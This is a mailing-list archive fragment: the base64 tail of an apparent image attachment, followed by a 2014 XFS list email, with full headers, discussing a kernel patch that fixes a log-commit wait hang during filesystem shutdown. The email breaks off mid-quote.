rV0iit+xE+o3/gLWdS1Q3E9zfai0v2u4yTP/ALQPcV14CdSa5pHFn1Ghh6yp0dbH0zt4zj8K9pO5 8sGPaqAPLP0oAlLBMZpXAQPn3piugXr7GgY+gD81f+C23/JO/hd/2Fbz/wBEx0AfkjQAUAfrX/wR I/5ED4p/9hOx/wDRUtAH6W0AFABQAUAFABQAUAcT8UvhjafEvRPszyC0voiGgu9uSh7j3Br5zOcm o5vR5Je7JbPt6+Rw4vCrExSvZnC+H/2dNCtNH+xeIW/tqeO4E8cgJTyyBjA9j3HtXy2F4coUKMqO JfO279Vax51LLacYuNV82p67o1pBptpFaWsSwWsKBI4kHCgelfb4OMaS9nBWitke3BKKUYqyRp16 poFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFACYyRmktAKNzbS+cWUlgea8qvRqOTa1XqZOL5r li1iMYO78q6cPTcU7mkdCeu0YUAFABQAUAFABQAUAFABQBl6o7+Wu1c89qzk2kJnz3+1N+3F4L/Z c0JU1M/2x4puI82ug2z4lPo8p/gX3PJ7UovmQJ3PguP9rP8Aa6/a11C6X4daTc6RorNtH9jWwSOM ehuH6n3FXoM+oP2JvhV+0x4L+Js9/wDGLXLvUvDclg0cUE+oLPsmJG0lR+NS7dAPuVFwgAUD/Z6U gPOPjf8AH3wl+z54Hn8UeMtQWxsFOy3hjG6e6k/uRr3Pv2oA/NPxV/wUc+Pf7RviyfQvgt4Zl0mz yVQWlv8AabrYejSyMNqVSQHoPwA+Dn7ZsPxR8L61428Q6ivhqO+WTULO61JCTF3yg7e1MD9MAQxb HCnJFSxM+GP+Ckv7VnxF/Zr1HwRb+A7u1t/7Xjl+0LcWwmLMpG0L+dCQJHzba/tifttX1tDdW/hS 7kgmXfG6+Hzhl9aeiHsfVX7Efxo+NHxEHjK5+N+mnw/p2mwJPbXV1Y/Y0XrvLE9gK56lGFTcXKpH mvxw/wCCtGg+GtZn8PfCrw1J4x1FJfITUrvP2eR8/wDLJFG5+enrSp4eNN3BRseSX37cH7Yt5diW PwxBp8c+DHbNpQXr0wGbNdN0a8kjf8B/8FZfiL8PfEtto/xg8DL5A+Wa4toGtrpRnG4KeGA9qVux Li0foz8Hfjl4O+OvhOLxF4L1qLVrFuJFU7ZoG/uyJ1U0XM9jvFJIBbqavoFhemai7DlbI5CAATVc wlG7seBftefEzV/hx4Q0ibQr42GpT3qlHHO9V5Kkdwa8PMMRKirxPqciy6GZ1fZS0MT4Mftk6T4v kh0vxUseiaw2EjuP+WEx9mP3T7VhhM0VVansZrwviMGvaUVczv2kP2qIfD8E/hrwhcpc6sy7bi/T 5ktgRyF9XI/KuXHZnye7E6cg4aqYmXtcRolqeMfs+/s933xf1r+2dY85PDUUu+aeYkvevnoCeq+p riwmDniJ+1mfQ5znFHLqcqGG0Z+gOiaNZ6HY22n2MC2lpboEjhjG1VXtgV9vCMVFJLY/GKtadao6 k3uay8jrVbE3HA4IzQCdwZhjPb1obsDIpCJF7Gna6EmVpLdxh4H+YdieKylT6omQ7T7iaZHEyBHQ 4IHT8K0hKUl7w4bF1ass/Nf/AILbf8k7+F3/AGFbz/0THQB+SNABQB+tf/BEj/kQPin/ANhOx/8A RUtAH6W0AFABQAUAISFBJOABkk9qAIrS9t7+ETWtxFdQkkCSCQOuR15FABb3cF2HNvPFOI3MbmJw +1h1Bx0I9KAK7a5pqSeW2o2ayCTythuEB3/3cZ6+3WgBNRS3t186a4itFJC75nCqSTwMnua4auG9 o+ZOzIcEyR3t9Mgea5uIoYlxmWZwijPA5PHWtaNBU9XuUlYfbajaXjyJb3UFw8ZAdYZFcpnpkA8V 0jHJd28tzJbpPE9xGAzwq4LoD0JHUZoAQX1sbo2ouITdBd5gEg8zb67c5x05oAmJAGSQB6noKAKE viHSobRLqTVLGO1dtiTtcoEZu4DZwT7UATXeqWWn2guru8t7W1IBE80qpGQenzE4oAmhuIrmGOaG VJYZBuSSNgysPUEcEUAVbvXtMsLpLW61Kztrl/uwTXCI5+ik5oAt3NxFZwvNPKkESDLSSsFVR6kn gUANW7gaOJxPEUl/1beYMP8A7pzz+FAEGo6xYaOitqF9a2CtwpupljB+m4igCQMLqJJbeZJYnAKO hDK49iOtQ090xO/Qow+JtNW+awuNRsob9Tt8g3cfmE/7u7P6UQb2kJX6l+W+tre6jtpLmGO5lBKQ vIA7gdcKTk/hVlBdXttZBDc3ENuHbYhmkCbm7KMnk+1AAb22W7S0NxCLpwWWAyAOwHUhc5x70ARW Os6dqck0Vnf2t5LD/rY7edJGT/eAJx+NAFygBssqQRNJI6xRKMs7kKoHuT0oAq2Gr2GqK7WN9a3i p98286ybfrtJxQAyTXdMhsjePqVmloH8s3DXCCMN/d3Zxn2oAtQXEV1Ck0EqTwuMpJEwZWHqCODQ BLQAUAFABQAUAFABQAh4FAm7GNruqR6Lpd3qMxURWkMk5LdPlUnn8qiTFzXPw7+BHgG8/bn/AG0r 1/Fd5Jd6dNdzajftvJzbRv8ALEp7AjAGO1Gy0KP298J+FtN8GaLb6LoNhbaTpVnGIraztYwiIgHA 46n1JqQN3aehxz6UWAbInIBbAJwfTFAH4U/8FBvjZL8bv2pr/Sb7VHs/CmgXQ0q3xkpAgIEsoXuT z+VWtgPtz4E/ti/sn/s7+BrDwz4V12e2iijU3N2unP5t1KR8zyNjJz6dqSuB9e/Bn42+EPj74Sbx L4Lv3v8ARxM1sZZIjGwdeowfSkwO9C4PHTFID8zP+Cul/a6X8R/gteXsoitLe4aWaTGdqLIpJx9K pAtz6Vsv+CjX7P1paQQn4hQ5SJFIFu+AQAMdKVmDVz5B/wCCjn7e/h/4neAtO8D/AAv8QtqOn6gx k1e7gVoyUB+WHnqCetLZmkYngV3dr+yx4P8ACfh7wfZW958X/FtlHeXmsOgll0qKY4htrdSMK7A5 L9RT+It+7ofTXhH/AIJVeN/HHhiLXPHnxa1Sx8V3aCZreJ3nWAkZCuxbOR3xVGV/MyvDf7BHxqj8 Sr4Y+IdlY/EP4dmYRDUJL/beW0eeJYHPzA+qEkGoe90UqmlmfY/7Pn7EPgT9mnxPc674L1HW4nuo fs9xZ3d1vgmHZmXHUdqLmUmke2eMvGWnfD7w1fa9q7tFp1mm+eREywHsBV/DG5x1aypQ5puyPGB+ 3V8KFVWbVbwAjOTasMVnGtBu1jwJcQYOnLkuLa/ty/CS/lCJrc6DOD5ts2BSlUi2aTzzDqafQ7Xx n4L8GftF+CbbzJotT09wZLO/tZMtGxHVSP5VhiqEMTGx9jlWcrDVFXoO58P/ABi/Zz8T/CK4e4nh bWdAzmLULdSTGOwcDpj1r4vE5fWopumfuWV8TYbGpRq/M1P2eP2e7z4warHqWoJLaeFLd90sz5Bu 2/uoepHqaMDgZ15Xmtjn4i4ho4amqeE69j9BdI0mz8PaRFZ2MC2lhaR7UiRcKqgdMV93TpqktD8N r4p1Jyq1Dx1f21fhgdeGkDUbo3rXX2MKLdseZu24J9M1XPG+iPmo5zQVVw6ntGp6zBo+k3OpXLMt tbxGZyBk7QMnHrWjjdXPXniIwp+0ex5B4T/bF+GvjXxLYaFpd/dSahfSeVCjW7BS3cE9qx50nY8y jnGHrT5Fues694m03wvpN1qmrXkOn6dbjMk877FQe9XJq3MepKvCMeaeiPBtV/b1+FelzvCl1f3m z+OC2ZlI9c1PtY20R80+IcO5NJbHZfDn9qX4ffFDUY9M0nV2g1KT/VWd4hjeX1254NKNZSdrHpYT NcNinaMtT1m3dXeQqc1v5HuJroXF+6KCz81v+C23/JO/hd/2Fbz/ANEx0AfkjQAUAfrX/wAESP8A kQPin/2E7H/0VLQB+ltABQAUAFACFVcFWUOrDBU9D7UAfn5+yv8AENP2YvCP7U3hLU5Xki+HWrXO r2MUz8yW88bGBFz/AHjGv4yCgCj/AME+9X8RfAXxl4x8GePr37RceJPDlv8AEW0klYqcyKzXEfP8 QzlvTZQB5Hc/DfU9c/YE8T/GmKOVPEU/jlvG9vLK53C2Sfy1x6DB/wDHaAPZv26Nd1j9prw58L/h 74IvHW61XQrnx7ePATu8q3tj9nAx3aZmX6kHtQBW/aA+LU/7S37K/wCzroNlcldV+JOvafZaisbE Ffs5Iujx2WZF69qAO6+HkMHwR/4KRePtAdmtNA8ceGYtZtYxlYY5bcASAfRI2J/3qAPIf2e/HviD T/2vNI+L+qXb/wDCG/GLUtU8P2cLthYvszj7I3PG1gh2+7GgD279ly1l+JP7Z/7Q/wASJv3ljpV1 B4Q06QNlf3KjzgB0wdkR/GgD628RH/indVIOM2cxHqP3ZoA/Mz9gX9jDwR+0Z+zfb678QL7XNdjb ULy00/TP7QeK100BsGSNF4MjE5LH0AoA0/2Lv2btK/ac+Hmu2nxS8R+IPFugeD9ZutB0TQ5b94ra 2iRs+Y23mR+mN2doAxQBo/s9fFTVv2Z/gt+1Roljf3GrWHwx1m5tvD39pOZTDuLRRof9kOqtjpya AO0/Z+/YH8BfFv4H6B4y+J7ar4s8f+LrFNWuvEFzqMouLYzjzIxDg4XarL26+2BQB5rpnxC8SX/7 Dv7TXw48TatPrl/8PZZNJtNSupC1xPaGRfL3nuVCEZ96APU/2Zv2WdNs/hj4C+MXjfxx4m8T65o+ jQ6rY2v20wWFhBHCWWBYQMMoXIJbk96APnb4U/Fb4M/G2DWPHf7QOn+LfHPifWL+4Nrp9tpV7caX pNqHZIorcxfKSB369AeQcgHY/Arx/wCLdM8KftIeCvhCniy48MWOjf2t4JOr2c8d1aOwVZoIfNGc gsdq/wCwCBkmgDnv2d/C/wCyB8UfAWkaN4x1S/0D4t3AEeo3+uahcWuoLf8ARmSZjsA3dM49DQB7 X8XdKHhr/goX+yro8F9cX9vaaFeW63E8hd51W3uAHY5+YnAOaANz/gqRK8fw/wDg+Udkz8RNPBKn H/LGfr60Acx+1J8O2+LP/BQ/4a+FW8Q6v4bs73wxd/arrRZvJuJIV3s8Qf8AhDgbSw5APFAHL/Hb 4CeF/wBib4x/Azxd8LG1LRJdb8SR6Fq1tLfvPHewyFRmQMfmPztnPseooA/SV+HYDselAHwx8cbS /wD2p/22bX4I3+s3+l/DnwtoY1zWrHTLhoH1KZyoVJHXnaN8f5t3wQAet+Df2IPhr8HPGsHjPwHD qfhm5s7S4in022vpHsrxWhZR5kbEjIJ3A+tAHyp+w1+x/wCD/wBob4R6nrfxB1LXde06DxBf29l4 fF+8FjbESHdLsU5d2J6t0wMUAes/8E9UvPAHxU/aA+EEGo3l94V8Gazbto0d7MZXt4pvNGwMe2Il 46Zye9AH27QAUAFABQAUAFABQA1hkUmBl+IdGj8QaBqWlyqrxXtrLbsrdDuUj+tQybH4d/su/EM/ sWfto3lr4wtzYadHdT6TqDMpHkxu3ySj/ZHBz6U3qij9w9E1e01qwh1HT7mG+065RZbe7t33xyIR kMGHGKSA0DIAwBIOTjrTAVjtIYdjk46470WA/Bn9vb4RP8G/2tdbn1jT5p/DOtXi6rAYyQLiByDI it/eHP04pgfb3wi/4J5/swfHHwJpnirwtJrV9p17EHby9S+e3f8AijcfwsDxzSuB9ffAL4CeFP2c PBR8LeD47qLS2uGum+2S+Y5duvP5VLA9KDEnPHpQgPzK/wCCvGmW+tfEP4L2F2ha1u7h4JQpwSjS IGGfoasD2q1/4JU/AC5tIZTpGrBmjVzjUGxyAaOg2fIP/BRH9g3QvgB4X0Txj8N9Ovl0BXNvqqzz GYwOT8kh9FPTNBadjzH4haDd/H/wb4N+J/w7YX3jbw/YRWfiHRLNt17DJB/qrqOPq6EDnbnGKhaa FO8tT6K8Af8ABY658PeD4tO8cfD+4vfFNpEIftFpN5KXBHG51YZU8c4p27GTRr/CX/gof8aPid4s jvdT0fw54I+Hq3INzrWsRvEkFvnlEdv9Y5HTAo0KULn3R8Pf2i/hr8UdYbR/CHjCw8RajHF5skNm S2xP7xOOKWhEoFD9qf8A5IL4sc9rQ+3cdKiq24nzudwf1Ru5+cnwd8R+GPCniq21LxhpL6zoa25S WzjTzGZ+zYriw7973j8dwVagsUlVhc6P4u+KvBfxH1TTIvh74Kn0mYZWRUGGnz91Qg7+9Ouk5aHX j8RSxVVQpRsfYH7HXw8174W/C+8bxKj6cbuZr1LKVubaPHOfTPXFdVKDS1P0TJ6M8JQ5qq0PKvG3 7Zvizxz4wbwx8N9Is2t552tIZL6PzXusHDHaeAKwlWb/AHTOKrn9T2/sMMjM1j9oX4yfs+azY6R4 t0jSpbKRTJHa20IjjkjzyEK8bh6Ua4ZbbnPWznGYaqliL6n2H8OPiNp/xS+H9t4i0vItrqBmMb/e jfHKk/Wu2MuaNz6yjiYYnDud+h+WOo6g2l/EC8vkjEn2PWHn8o/xlZM4zXmSm4zPxvFYiVPGuUVs z6O139vfVdb8P32lyeCfKS4t3gMglYlcrjJ4/GrlVny6H1eIz2rUw6p8nQ8W/Z1Ab44eDMANm9yP yJrGnVcpWZ85k6csXzPufcP7YHwr8RfFX4ZJZ+HI/tV1Z3C3UliX2i5UdVHv7GvRq35dD9NzTB18 XQ/du1j4u8E+Pda+Bst/Yax8P7a+iu2Jli1mzZWjxwVV8YxXLTT1PznDTq4HmjWp8xv/AA51j4J6 741srrV9K1zwtfSXazW88N1vtYpSflAI5AJ4pRl71j0sslhJV+drlZ+k2llHiR0YMrIuGHIYY616 Udrn63SnzwTWxpL0qjY/Nf8A4Lbf8k7+F3/YVvP/AETHQB+SNABQB+tf/BEj/kQPin/2E7H/ANFS 0AfpbQAUAFABQAmM0Afnh+1l+zb4z8aftmaOnh3Sr2bwF8Q7TToPF17DETDElncLId7jhSY4YwM9 ckd6AOy/4KU/CTxtq+keEPGvwu0y7vfFGnx3Xh64t9OhLv8AYLyLy2O1R0UgD0AYmgD6B8MfAyxs P2V7L4VPEsdv/wAIyNIkSQZCzPD8xP0kYmgD5v8A+CaXwd8c+HpfE3in4laVeabqmnWVr4Q0W3vr cxMmn2wJLoDztdmGT3K0Act+zr+zV4y8H/tx3unarpF5H8MfA9zq2teGLyaFhbF78RARRv8AdYoC Tgcgo1AHa/8ABSj4XePtYvPh142+GGn32oeKrGW70KcWEJlaO1u49rOwHO0HjPQbqAOr/aG/Zuvd K/Y08NeGvBdi914q+HY0/VtFhgTzJJbu2ZTIo7neS5wOvFAHTfsDfDXWvhv+zhYTeJrOay8XeIb2 617VYbmMpKJ5nLKHU8ghQgweeKAD9lz4q/Fb4w+AvHc3xQ8GnwlqVpPLa6bbrZywG5iMTfNhydxz xkUAYf8AwTJ8D+IPh1+y3p2jeKNGvdA1VNXvZWs9QhMUoRnUqxU9j2NAFX/gnL4E8ReA/AnxFt/E eiX2hz3fi+9ureO/t2haWJm+WRQw5U9j0oA4r4Sfs761491T9sXwv4h02+0DTfGuv3K6ZqN3bMsc ys0pjmjJ4dQxQ8UAQ/CL9o/4o/s6fDDSvhl4w+BfjPxF4r8OW/8AZun6h4etjc6dqEScQu04GIxt 2g59OgOQADKsP2bPHnhn9ib49X3iHSJbj4k/EWSXV59A08ee9vmRTHAoXJZgCxIGe1AH1r+z/wCF 57f9m7wR4e12xms5/wDhHoLG9s7hdkkeYtrowPQ8mgD5V+DOufEr9grTtX+HPiL4X+IPiN4Dh1C4 vPD/AIh8JWwuphDK5YxSwAbg2SWPpuI5GKAPXvCv7SHxc+IHhfxj4h0P4GajotpptlFLolh4glFv e6vN5g8xNmVMQEfI3Drjk9KAPn/9ojx4f2p/h5qfg2y/Zb8X2fxD1ELFbapqukJb2+nTlhmX7ZgB gBn65oA3/jf8FPiH8Erz9nD4l6Lol58SdS+Gunf2VrtjpwL3U8TQlGkjXln+/IOATnb2PAByf7UX jz4s/tW6R8OTpXwO8TeGvCmleL7K9lutWQ/b3kCOCfs4GUhVWbc7dyoHegD3rx94I8QXn/BR74ae KbfRb6bw3Z+Gb6C41WOBmtoZGSQKjOBgMcjAPrQBS/4KC+A/EnjjVfgQ/h/Q77WU0zxxa3l81lA0 gtoFZC0j4+6oweTxQB3Xx1+LnxV8E/Hj4aeGvB3g8674M1uZV13VxaSy/YVM20nep2rhOfmoA83/ AGgfh58QPg9+1HpXx/8Ah/4Xm8caXdaV/Yvifw/ZMq3hiDDZNCDyx+4cDJGwDGCcAHY/Dj9qDxt8 aPHUWhaf8F/FfhXwuttcf2prviq3No0bCI+WkMRwXJfAJGRz0FAFH/gnB4K1/wABfAPUNO8SaNe6 Hfv4j1Cdba/haKQxtJ8r4YZwex6GgDP/AGVPAfiPw1+1z+09reraJfadpGtX+nvpt9cwMkV4q/aN xiY8NjcuceooA+uKACgAoAKACgAoAKAEJwKTAzdTEohRkOCGpWA+YP2wP2BvCn7UdgurRT/8I945 hi2RavGm5JwBws6jqPfrStYD4c0T4Zftk/sY3klh4Vg1DWvDyufLjsiL2zdfURk5TPpT0A+o/wBi P9qH47fGT4s6l4f+J3hoaNo9vYNMJjpb2xEoIAAY+vNOwrn3WGAQY5HpSsM8i/aQ/Zl8IftN+A38 O+KrYpLATJYanAP39nJjqp7j1U9aLAfmlffsc/tQfseeJbrVPhVql1rejud3m6NICJl9JbduCcYo fmB6n8EP2x/2pPEPxe8JeEvGfg42mlXd2sF/dS6K8beX3Yv0H1pWQH6aRqMuuflDHbx2osB8Ef8A BSv4QeNvib8RPhDeeFPDd9rtrpV3vvJbRNwhHmqct6cA07AfeOmKRp1rGw2usKBkPVSFGRTsSyr4 l8L6b4t0K/0fWLOHUtKvojBdWs65SSMjBBHr70uUaZ+ZXxd/4JS+MPAniebxV8CfFj27ozSwadcT mC5h/wBhJV4YdsNSb6MpO2x5Frng39sG3ufsmq+ADrF4nAv5tJtp5D7+Zjn61NkaqozZ8M/8E+P2 i/2itRs7v4kasvhvR0IwuozAsi9xHAnyg4qlZbEzm7H6T/s3/ss+CP2ZfCP9j+FbHdeTAfbtXuAD cXbe57L6KKlpsyi7l39pmyudQ+CPiq1tYJbqd7bbHDCpZmOewqpr3Twc2hKtRcInxn+yF4C1S3+M 9iur+HL1LBrKRX+3WhEWSOh3DFckadpXR8DleVzhiOapC5d/ad/Z01T4eeMxrnhPTrybRNRkLqum qxks5+4GOQvpWPsne9y83yecKirUY2PoL9mT4ia78TvAuoeFfGNhf2esWlu1u15cwNH9phYYDZPV h3rvpptan1GXTxGJo+yqq2h8uTfDLxz+zV8VrXWf+EeuNZs9PuWkt7m1jMkdxCScAkfdYZrhcHGV z5KWBr4LG+0hG5qfGnxf4x/ai8U6OuieCdTtEslZIlnhI3O3BLMQAAK2kpVVqVjaeKzKqvaRsj7K /Z/+GM/wn+ENloN0yzagIpJrnacqJGBJUfStoJxVj7nA4KOHwjstbH55p4E8SN8VBI3h3VPJ/t3f vNq2zZ5nXPcYrmlTvO7PgP7Oq1cW3KOlz9KPGfhHSj4F1cQaNZm4+wyBPLtlLFzH9OtdPKuWx95W wVOWGUYw1sfnn+z54J8R2Hxo8Iz3eg6pBDFfEvLLasqRjnkmuBU+Wdz4TB5dWo43mS0ufaf7Unhb 4gaz4Qtr74fardWeqWUpeazt22m5j9j6jrivQqpqN0fc5jSrygpUpNNHzN8Pf2gvHfgCzv8ASPHP g/VfGSSMXRtRtS00RP8ADkggiuSE5pPQ+Tp4jFRvGrTuef6P8IfGPxt8eXU2j+EJtA0m9uRI4kia KC1TIyRnv9KmNNyfMedQyqrVxHtnGx+nPhbSxomiWGmhzILS3SDex5O0YzXpJNI/WcJF06aizcXp TO0/Nf8A4Lbf8k7+F3/YVvP/AETHQB+SNABQB+tf/BEj/kQPin/2E7H/ANFS0AfpbQAUAFABQAhG RQAuSARk4oAASOhx9KAEPJ5/xoAGJYcnPpmgBcnGMnHpQAA46Ej8etACAYOc8+o60ABySSTknrmg BSxPJOT60ABJY5JzQAbicZ7cUAGTxznHSgADMBjcfzxQAuSDkdf60AITkn/OaAAEgcEj8aABiWxk k/WgAZmYffb86AEyQOCRQAu5ufmOfXPNAChiBjPGc0AIGK9OOMGgABI4BwKAAHaRjIxQAEk9SSPr QAFievJ96AAkkYzke9ABQAUAFABQAUAFABQAh5BoAhlgEy7W5FACmBSu1hlR0BpMACEHhmHsDjNJ CYeUGJPGfXHX61RFhfKUDHbNNlIUIo7UihghAJIJBPXBxmk0A4rk5J5xjPelYBQoAxjtimgALgnk 4IxgHFMBqRhDkdfWgljiuevegQ3yhnPQjp6VAChWUf6x8em6gdxphDHcSc9PpTsNu4qxbcbSQOtF hLQa0Clskc0PUFFK437OgycDJ9qEZKCvewi28eCNuVx3/SncqbVT4kKttEp4UY9KfMyYU4wd4iNA jLgqGXH3SKnfcU4xm+awJbRx/djVfXaNufriq2Ww1ThvYcIggGF49PSoi2mVLTRbDTAhA+UL7qOa pu5Hs4PoO8pCD3J6+9UrI00tYBAm4HaB9AP8KhpEqnDeweUCMZOabd1YtJPRkcllDL/rIkkPqyg1 nsrGMqFOpLVD/IRU2hdq/wB1RgU07FqMaeiRMkY989/er5r6Gi7jj8oplH5rf8Ftc/8ACu/hdn/o K3v/AKJjoA/JKgAoA/Wv/giR/wAiB8U/+wnY/wDoqWgD9LaACgAoAKACgAoAKACgAoAKACgAoAKA CgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKACgAoAKAG7aAFx+NAC0AF ABQAUAFABQAUAFABQAUCsFKwxMCiwBjimKwtAWE8v3NKwWEC8UrDG4FFgHfL7U7AJhc0xW0sDY9T RdhZWsL8v+1QCSQcUrDEGB/+qmA7j1NJKwmriZGf/rUdbhbSwnB7miwWF496YwBAoFYCQfX8KBn5 k/8ABZ6WaX4Y/DD7QpWRdYvl57jyoyP50Afk/QAUAfZP7B37eGjfsf8Ahzxbpmp+E77xG2t3dvcp JZ3aQiIRoykEMpzndQB9Tf8AD7bwj/0S/Wv/AAaQ/wDxFAB/w+28I/8ARL9a/wDBpD/8RQAf8Ptv CP8A0S/Wv/BpD/8AEUAH/D7bwj/0S/Wv/BpD/wDEUAH/AA+28I/9Ev1r/wAGkP8A8RQAf8PtvCP/ AES/Wv8AwaQ//EUAH/D7bwj/ANEv1r/waQ//ABFAB/w+28I/9Ev1r/waQ/8AxFAB/wAPtvCP/RL9 a/8ABpD/APEUAH/D7bwj/wBEv1r/AMGkP/xFAB/w+28I/wDRL9a/8GkP/wARQAf8PtvCP/RL9a/8 GkP/AMRQAf8AD7bwj/0S/Wv/AAaQ/wDxFAB/w+28I/8ARL9a/wDBpD/8RQAf8PtvCP8A0S/Wv/Bp D/8AEUAH/D7bwj/0S/Wv/BpD/wDEUAH/AA+28I/9Ev1r/wAGkP8A8RQAf8PtvCP/AES/Wv8AwaQ/ /EUAH/D7bwj/ANEv1r/waQ//ABFAB/w+28I/9Ev1r/waQ/8AxFAB/wAPtvCP/RL9a/8ABpD/APEU AH/D7bwj/wBEv1r/AMGkP/xFAB/w+28I/wDRL9a/8GkP/wARQAf8PtvCP/RL9a/8GkP/AMRQAf8A D7bwj/0S/Wv/AAaQ/wDxFAB/w+28I/8ARL9a/wDBpD/8RQAf8PtvCP8A0S/Wv/BpD/8AEUAH/D7b wj/0S/Wv/BpD/wDEUAH/AA+28I/9Ev1r/wAGkP8A8RQAf8PtvCP/AES/Wv8AwaQ//EUAH/D7bwj/ ANEv1r/waQ//ABFAB/w+28I/9Ev1r/waQ/8AxFAB/wAPtvCP/RL9a/8ABpD/APEUAH/D7bwj/wBE v1r/AMGkP/xFAB/w+28I/wDRL9a/8GkP/wARQAf8PtvCP/RL9a/8GkP/AMRQAf8AD7bwj/0S/Wv/ AAaQ/wDxFAB/w+28I/8ARL9a/wDBpD/8RQAf8PtvCP8A0S/Wv/BpD/8AEUAH/D7bwj/0S/Wv/BpD /wDEUAH/AA+28I/9Ev1r/wAGkP8A8RQAf8PtvCP/AES/Wv8AwaQ//EUAH/D7bwj/ANEv1r/waQ// ABFAB/w+28I/9Ev1r/waQ/8AxFAB/wAPtvCP/RL9a/8ABpD/APEUAH/D7bwj/wBEv1r/AMGkP/xF AB/w+28I/wDRL9a/8GkP/wARQAf8PtvCP/RL9a/8GkP/AMRQAf8AD7bwj/0S/Wv/AAaQ/wDxFAB/ w+28I/8ARL9a/wDBpD/8RQAf8PtvCP8A0S/Wv/BpD/8AEUAH/D7bwj/0S/Wv/BpD/wDEUAH/AA+2 8I/9Ev1r/wAGkP8A8RQAf8PtvCP/AES/Wv8AwaQ//EUAH/D7bwj/ANEv1r/waQ//ABFAB/w+28I/ 9Ev1r/waQ/8AxFAB/wAPtvCP/RL9a/8ABpD/APEUAH/D7bwj/wBEv1r/AMGkP/xFAB/w+28I/wDR Lta/8GcP/wARQAn/AA+18I/9Ev1v/wAGkP8A8RQAf8PtfCP/AES/W/8AwaQ//EUAH/D7Xwj/ANEv 1v8A8GkP/wARQAf8PtfCP/RL9b/8GkP/AMRQAf8AD7Xwj/0S/W//AAaQ/wDxFAB/w+18I/8ARL9b /wDBpD/8RQAf8PtfCP8A0S/W/wDwaQ//ABFAB/w+18I/9Ev1v/waQ/8AxFAB/wAPtfCP/RL9b/8A BpD/APEUAH/D7Xwj/wBEv1v/AMGkP/xFAB/w+18I/wDRL9b/APBpD/8AEUAL/wAPtvCP/RL9a/8A BpD/APEUAfLf7eP7eWjftg+GvCemaZ4Tv/Dj6LeT3LyXd2kwlEiKoACqMY20AfGlABQAUAFABQAU AFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQA UAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQAUAFABQ AUAFABQAUAFAH//Z ------=_001_NextPart635730728485_=------ From jeff.liu@oracle.com Fri Jan 3 04:26:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9A4967F54 for ; Fri, 3 Jan 2014 04:26:12 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 801728F8037 for ; Fri, 3 Jan 2014 02:26:09 -0800 (PST) X-ASG-Debug-ID: 1388744767-04cbb04166b761c0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id V7aHmuWCurd6tSog (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Fri, 03 Jan 2014 02:26:08 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id s03AQ4gK026550 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 3 Jan 2014 10:26:05 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s03AQ3LL002242 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 3 Jan 2014 10:26:04 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s03AQ3po002227; Fri, 3 Jan 2014 10:26:03 GMT Received: from [192.168.1.106] (/123.119.108.85) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 03 Jan 2014 02:26:02 -0800 Message-ID: <52C69035.7010606@oracle.com> Date: Fri, 03 Jan 2014 18:25:57 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: Mark Tinguely , "xfs@oss.sgi.com" Subject: Re: [PATCH 1/4] xfs: wake up cil->xc_commit_wait while removing ctx from cil->xc_committing References: <52B98292.5040002@oracle.com> <52C18F56.70709@sgi.com> <52C4286C.5040007@oracle.com> <20140102004503.GN20579@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/4] xfs: wake up cil->xc_commit_wait while removing ctx from cil->xc_committing In-Reply-To: <20140102004503.GN20579@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1388744768 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 01/02 2014 08:45, Dave Chinner wrote: > On Wed, Jan 01, 2014 at 10:38:36PM +0800, Jeff Liu wrote: >> On 12/30 2013 23:20 PM, Mark Tinguely wrote: >>> On 12/24/13 06:48, Jeff Liu wrote: >>>> From: Jie Liu >>>> >>>> I can easily to hit a hang up while running fsstress and shutting down >>>> XFS on SSD via the tests below: >> >>>> >>>> Task1 Task2 >>>> >>>> list_add(&ctx->committing,&cil->xc_committing); >>>> >>>> xlog_wait(&cil->xc_commit_wait..) >>>> schedule()... >>>> >>>> Aborting!! list_del(&ctx->committing); >>>> wake_up_all(&cil->xc_commit_wait);<-- 